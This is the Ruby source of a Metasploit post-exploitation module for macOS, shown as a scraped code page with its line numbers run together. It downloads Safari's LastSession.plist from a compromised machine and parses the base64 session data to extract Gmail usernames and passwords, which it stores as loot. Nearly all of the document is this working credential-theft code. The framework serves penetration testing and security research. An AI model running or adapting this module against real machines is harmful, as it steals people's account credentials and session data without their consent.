Path: blob/master/modules/post/osx/gather/safari_lastsession.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Post8include Msf::Post::File910def initialize(info = {})11super(12update_info(13info,14'Name' => 'OSX Gather Safari LastSession.plist',15'Description' => %q{16This module downloads the LastSession.plist file from the target machine.17LastSession.plist is used by Safari to track active websites in the current session,18and sometimes contains sensitive information such as usernames and passwords.1920This module will first download the original LastSession.plist, and then attempt21to find the credential for Gmail. The Gmail's last session state may contain the22user's credential if his/her first login attempt failed (likely due to a typo),23and then the page got refreshed or another login attempt was made. This also means24the stolen credential might contain typos.25},26'License' => MSF_LICENSE,27'Author' => [ 'sinn3r'],28'Platform' => [ 'osx' ],29'SessionTypes' => [ 'meterpreter', 'shell' ],30'References' => [31['URL', 'http://www.securelist.com/en/blog/8168/Loophole_in_Safari']32],33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [],36'Reliability' => []37}38)39)40end4142#43# Returns the Safari version based on version.plist44# @return [String] The Safari version. If not found, returns ''45#46def get_safari_version47vprint_status("#{peer} - Checking Safari version.")48version = ''4950f = read_file('/Applications/Safari.app/Contents/version.plist')51xml = begin52REXML::Document.new(f)53rescue StandardError54nil55end56return version if xml.nil?5758xml.elements['plist/dict'].each_element do |e|59if e.text == 'CFBundleShortVersionString'60version = e.next_element.text61break62end63end6465version66end6768#69# Converts LastSession.plist to xml, and then read it70# @param filename [String] The path to LastSession.plist71# @return [String] Returns the XML version of LastSession.plist72#73def plutil(filename)74cmd_exec("plutil -convert xml1 #{filename}")75read_file(filename)76end7778#79# Returns the XML version of LastSession.plist (text file)80# Just a wrapper for plutil81#82def get_lastsession83print_status("#{peer} - Looking for LastSession.plist")84plutil("#{expand_path('~')}/Library/Safari/LastSession.plist")85end8687#88# Returns the <array> element that contains session data89# @param lastsession [String] XML data90# @return [REXML::Element] The Array element for the session data91#92def get_sessions(lastsession)93session_dict = nil9495xml = begin96REXML::Document.new(lastsession)97rescue StandardError98nil99end100return nil if xml.nil?101102xml.elements['plist'].each_element do |e|103found = false104e.elements.each do |e2|105next unless e2.text == 'SessionWindows'106107session_dict = e.elements['array']108found = true109break110end111112break if found113end114115session_dict116end117118#119# Returns the <dict> session element120# @param xml [REXML::Element] The array element for the session data121# @param domain [Regexp] The domain to search for122# @return [REXML::Element] The <dict> element for the session data123#124def get_session_element(xml, domain_regx)125dict = nil126127found = false128xml.each_element do |e|129e.elements['array/dict'].each_element do |e2|130next unless e2.text =~ domain_regx131132dict = e133found = true134break135end136137break if found138end139140dict141end142143#144# Extracts Gmail username/password145# @param xml [REXML::Element] The array element for the session data146# @return [Array] [0] is the domain, [1] is the user, [2] is the pass147#148def find_gmail_cred(xml)149vprint_status("#{peer} - Looking for username/password for Gmail.")150gmail_dict = get_session_element(xml, /(mail|accounts)\.google\.com/)151return '' if gmail_dict.nil?152153raw_data = gmail_dict.elements['array/dict/data'].text154decoded_data = Rex::Text.decode_base64(raw_data)155cred = decoded_data.scan(/Email=(.+)&Passwd=(.+)&signIn/).flatten156user, pass = cred.map { |data| Rex::Text.uri_decode(data) }157158return '' if user.blank? || pass.blank?159160['mail.google.com', user, pass]161end162163#164# Runs the module165#166def run167cred_tbl = Rex::Text::Table.new({168'Header' => 'Credentials',169'Indent' => 1,170'Columns' => ['Domain', 'Username', 'Password']171})172173#174# Downloads LastSession.plist in XML format175#176lastsession = get_lastsession177if lastsession.blank?178print_error("#{peer} - LastSession.plist not found")179return180end181182p = store_loot('osx.lastsession.plist', 'text/plain', session, lastsession, 'LastSession.plist.xml')183print_good("#{peer} - LastSession.plist stored in: #{p}")184185#186# If this is an unpatched version, we try to extract creds187#188=begin189version = get_safari_version190if version.blank?191print_warning("Unable to determine Safari version, will try to extract creds anyway")192elsif version >= "6.1"193print_status("#{peer} - This machine no longer stores session data in plain text")194return195else196vprint_status("#{peer} - Safari version: #{version}")197end198=end199200#201# Attempts to convert the XML file to an actual XML object, with the <array> element202# holding our session data203#204lastsession_xml = get_sessions(lastsession)205unless lastsession_xml206print_error('Cannot read XML file, or unable to find any session data')207return208end209210#211# Look for credential in the session data.212# I don't know who else stores their user/pass in the session data, but I accept pull requests.213# Already looked at hotmail, yahoo, and twitter214#215gmail_cred = find_gmail_cred(lastsession_xml)216cred_tbl << gmail_cred unless gmail_cred.blank?217218unless cred_tbl.rows.empty?219p = store_loot('osx.lastsession.creds', 'text/plain', session, cred_tbl.to_csv, 'LastSession_creds.txt')220print_good("#{peer} - Found credential saved in: #{p}")221print_line222print_line(cred_tbl.to_s)223end224end225end226227228